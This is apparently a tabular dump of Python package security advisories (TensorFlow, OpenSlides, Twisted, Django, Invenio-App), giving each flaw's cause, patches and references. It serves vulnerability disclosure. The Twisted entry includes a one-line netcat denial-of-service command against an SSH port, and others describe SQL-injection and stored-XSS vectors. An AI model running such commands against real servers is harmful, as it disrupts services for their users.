The [implementation](https://github.com/tensorflow/tensorflow/blob/a1bc56203f21a5a4995311825ffaba7a670d7747/tensorflow/core/kernels/sparse_reduce_op.cc#L217-L228) fails to validate that each reduction group does not overflow and that each corresponding index does not point to outside the bounds of the input tensor.
### Patches
We have patched the issue in GitHub commit [87158f43f05f2720a374f3e6d22a7aaa3a33f750](https://github.com/tensorflow/tensorflow/commit/87158f43f05f2720a374f3e6d22a7aaa3a33f750).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-37635'} | 2022-03-03T05:12:59.630077Z | 2021-08-25T14:44:17Z | HIGH | null | {'CWE-125'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cgfm-62j4-v4rf', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37635', 'https://github.com/tensorflow/tensorflow/commit/87158f43f05f2720a374f3e6d22a7aaa3a33f750'} | null |
PyPI | GHSA-4g9f-63rx-5cw4 | Segfault in Tensorflow | ### Impact
The [`tf.raw_ops.Switch`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/Switch) operation takes as input a tensor and a boolean and outputs two tensors. Depending on the boolean value, one of the tensors is exactly the input tensor whereas the other one should be an empty tensor.
However, the eager runtime traverses all tensors in the output:
https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/common_runtime/eager/kernel_and_device.cc#L308-L313
Since only one of the tensors is defined, the other one is `nullptr`, hence we are binding a reference to `nullptr`. This is undefined behavior and reported as an error if compiling with `-fsanitize=null`. In this case, this results in a segmentation fault
### Patches
We have patched the issue in da8558533d925694483d2c136a9220d6d49d843c and will release a patch release for all affected versions.
We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2020-15190'} | 2022-03-03T05:14:12.080578Z | 2020-09-25T18:28:14Z | MODERATE | null | {'CWE-20', 'CWE-476'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4g9f-63rx-5cw4', 'https://github.com/tensorflow/tensorflow', 'https://github.com/tensorflow/tensorflow/commit/da8558533d925694483d2c136a9220d6d49d843c', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15190', 'https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html'} | null |
PyPI | PYSEC-2020-72 | null | OpenSlides is a free, Web-based presentation and assembly system for managing and projecting agenda, motions, and elections of assemblies. OpenSlides version 3.2, due to unsufficient user input validation and escaping, it is vulnerable to persistant cross-site scripting (XSS). In the web applications users can enter rich text in various places, e.g. for personal notes or in motions. These fields can be used to store arbitrary JavaScript Code that will be executed when other users read the respective text. An attacker could utilize this vulnerability be used to manipulate votes of other users, hijack the moderators session or simply disturb the meeting. The vulnerability was introduced with 6eae497abeab234418dfbd9d299e831eff86ed45 on 16.04.2020, which is first included in the 3.2 release. It has been patched in version 3.3 ( in commit f3809fc8a97ee305d721662a75f788f9e9d21938, merged in master on 20.11.2020). | {'GHSA-w5wr-98qm-jx92', 'CVE-2020-26280'} | 2020-12-22T20:11:00Z | 2020-12-18T19:15:00Z | null | null | null | {'https://github.com/OpenSlides/OpenSlides/pull/5714', 'https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-043.txt', 'https://github.com/OpenSlides/OpenSlides/blob/master/CHANGELOG.rst#version-33-2020-12-18', 'https://github.com/OpenSlides/OpenSlides/commit/f3809fc8a97ee305d721662a75f788f9e9d21938', 'https://github.com/OpenSlides/OpenSlides/security/advisories/GHSA-w5wr-98qm-jx92'} | null |
PyPI | PYSEC-2022-160 | null | Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 22.2.0, Twisted SSH client and server implement is able to accept an infinite amount of data for the peer's SSH version identifier. This ends up with a buffer using all the available memory. The attach is a simple as `nc -rv localhost 22 < /dev/zero`. A patch is available in version 22.2.0. There are currently no known workarounds. | {'CVE-2022-21716', 'GHSA-rv6r-3f5q-9rgx'} | 2022-03-10T17:35:00.079970Z | 2022-03-03T21:15:00Z | null | null | null | {'https://github.com/twisted/twisted/security/advisories/GHSA-rv6r-3f5q-9rgx', 'https://github.com/twisted/twisted/commit/89c395ee794e85a9657b112c4351417850330ef9', 'https://twistedmatrix.com/trac/ticket/10284', 'https://github.com/twisted/twisted/releases/tag/twisted-22.2.0'} | null |
PyPI | GHSA-w24h-v9qh-8gxj | SQL Injection in Django | A SQL injection issue was discovered in QuerySet.explain() in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the **options argument, and placing the injection payload in an option name. | {'CVE-2022-28347'} | 2022-04-22T23:30:12.010823Z | 2022-04-13T00:00:33Z | CRITICAL | null | {'CWE-89'} | {'https://github.com/django/django', 'https://groups.google.com/forum/#!forum/django-announce', 'https://www.djangoproject.com/weblog/2022/apr/11/security-releases/', 'http://www.openwall.com/lists/oss-security/2022/04/11/1', 'https://github.com/django/django/commit/6723a26e59b0b5429a0c5873941e01a2e1bdbb81', 'https://docs.djangoproject.com/en/4.0/releases/security/', 'https://nvd.nist.gov/vuln/detail/CVE-2022-28347'} | null |
PyPI | PYSEC-2021-186 | null | TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L289-L295) computes a modulo operation without validating that the divisor is not zero. Since `vector_num_elements` is determined based on input shapes(https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L522-L544), a user can trigger scenarios where this quantity is 0. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-x83m-p7pv-ch8v', 'CVE-2021-29549'} | 2021-08-27T03:22:30.167299Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x83m-p7pv-ch8v', 'https://github.com/tensorflow/tensorflow/commit/744009c9e5cc5d0447f0dc39d055f917e1fd9e16'} | null |
PyPI | PYSEC-2021-169 | null | TensorFlow is an end-to-end open source platform for machine learning. An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments. Each of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'CVE-2021-29532', 'GHSA-j47f-4232-hvv8'} | 2021-08-27T03:22:27.051975Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j47f-4232-hvv8', 'https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a'} | null |
PyPI | GHSA-94mf-xfg5-r247 | Moderate severity vulnerability that affects invenio-app | ## APP_ALLOWED_HOSTS not always preventing host header injection
### Impact
A possible host header injection attack have been identified in Invenio-App. For an attack to be possible, all conditions below must be met:
1. Your webserver must have been configured to route all requests to your application.
2. You must have relied on ``APP_ALLOWED_HOSTS`` configuration variable to whitelist allowed host headers.
3. Flask's ``request.host`` must not have been evaluated during request handling.
An example of a view which does not evalute ``request.host`` is a simple view using just ``url_for`` to generate an external URL (similar is possible when rendering just a Jinja template):
```python
@app.route('/')
def index():
return url_for('index_url', _external=True)
```
This happens, because Werkzeug's trusted host feature, which ``APP_ALLOWED_HOSTS`` rely on, does not check the the list of trusted hosts in it's routing system that ``url_for`` is relying on.
### Patches
Invenio-App v1.0.6 and v1.1.1 fully fix the issue.
Note, we strongly recommend (see [Securing your instance](https://invenio.readthedocs.io/en/latest/deployment/securing-your-instance.html#allowed-hosts)) that you never route requests to your application with a wrong host header. The ``APP_ALLOWED_HOSTS`` configuration variable exists as an extra protective measure because it is easy to misconfigure your web server to allow requests with any host header.
### Workaround 1 - Configure your webserver
You should ensure that you never route requests with a wrong host header to your application. The workaround depends on which web server you are using to proxy requests to your application. In general it involves ensuring that the web server has two virtual hosts defined:
1. **Default virtual host**: a dummy default virtual host that by default is used unless the webserver can match the host header to another virtual host (i.e. a catch-all).
2. **Application virtual host**: the application virtual host responsible for proxing requests to the application, and configured to only reply to a whitelist of host headers.
Note, for instance in Nginx if you only configure the application virtual host, by default, it will also act as the default virtual host despite you having configured a whitelist of host headers.
Below is an example for Nginx. Note for clarity we have only included the virtual host for port 443, but this also extends to virtual hosts running on any other port.
```
# etc/nginx/nginx.conf
http {
# ...
include /etc/nginx/conf.d/*.conf;
}
```
**Default virtual host**
Notice, the ``server_name`` is ``_`` and the ``listen`` directive has it marked as ``default_server``.
```
# etc/nginx/conf.d/default.conf
server {
listen 443 default_server;
listen [::]:443 default_server;
server_name _;
# ...
return 301 https://www.example.com;
}
```
**Application virtual host**
Notice, the ``server_name`` is set to the host header whitelist.
```
# etc/nginx/conf.d/app.conf
server {
listen 443;
listen [::]:443;
server_name www.example.com;
# ...
}
```
### Workaround 2 - Include application snippet
We strongly recommend that you use the method described in Workaround 1.
If you are not able to upgrade to the patched versions of Invenio-App, you can include the following code snippet in your application to force evaluation of ``request.hosts``.
```python
@app.before_request
def before_request():
request.host
```
### For more information
If you have any questions or comments about this advisory:
* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org) | {'CVE-2019-1020006'} | 2022-03-03T05:13:18.735440Z | 2019-07-16T00:52:10Z | MODERATE | null | {'CWE-74'} | {'https://github.com/inveniosoftware/invenio-app', 'https://nvd.nist.gov/vuln/detail/CVE-2019-1020006', 'https://github.com/inveniosoftware/invenio-app/security/advisories/GHSA-94mf-xfg5-r247', 'https://github.com/advisories/GHSA-94mf-xfg5-r247'} | null |
PyPI | PYSEC-2021-3 | null | The lineage endpoint of the deprecated Experimental API was not protected by authentication in Airflow 2.0.0. This allowed unauthenticated users to hit that endpoint. This is low-severity issue as the attacker needs to be aware of certain parameters to pass to that endpoint and even after can just get some metadata about a DAG and a Task. This issue affects Apache Airflow 2.0.0. | {'GHSA-fh37-cx83-q542', 'CVE-2021-26697'} | 2021-02-23T17:59:00Z | 2021-02-17T15:15:00Z | null | null | null | {'https://lists.apache.org/thread.html/re21fec81baea7a6d73b0b5d31efd07cc02c61f832e297f65bb19b519@%3Cdev.airflow.apache.org%3E', 'https://lists.apache.org/thread.html/re21fec81baea7a6d73b0b5d31efd07cc02c61f832e297f65bb19b519%40%3Cusers.airflow.apache.org%3E', 'https://lists.apache.org/thread.html/r36111262a59219a3e2704c71e97cf84937dae5ba7a1da99499e5d8f9@%3Cannounce.apache.org%3E', 'https://lists.apache.org/thread.html/re21fec81baea7a6d73b0b5d31efd07cc02c61f832e297f65bb19b519@%3Cusers.airflow.apache.org%3E', 'https://github.com/advisories/GHSA-fh37-cx83-q542', 'http://www.openwall.com/lists/oss-security/2021/02/17/2'} | null |
PyPI | PYSEC-2021-493 | null | TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.SparseFillEmptyRows`. This is because of missing validation(https://github.com/tensorflow/tensorflow/blob/fdc82089d206e281c628a93771336bf87863d5e8/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L230-L231) that was covered under a `TODO`. If the `dense_shape` tensor is empty, then `dense_shape_t.vec<>()` would cause a null pointer dereference in the implementation of the op. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-r6pg-pjwc-j585', 'CVE-2021-29565'} | 2021-12-09T06:34:53.440506Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r6pg-pjwc-j585', 'https://github.com/tensorflow/tensorflow/commit/faa76f39014ed3b5e2c158593b1335522e573c7f'} | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.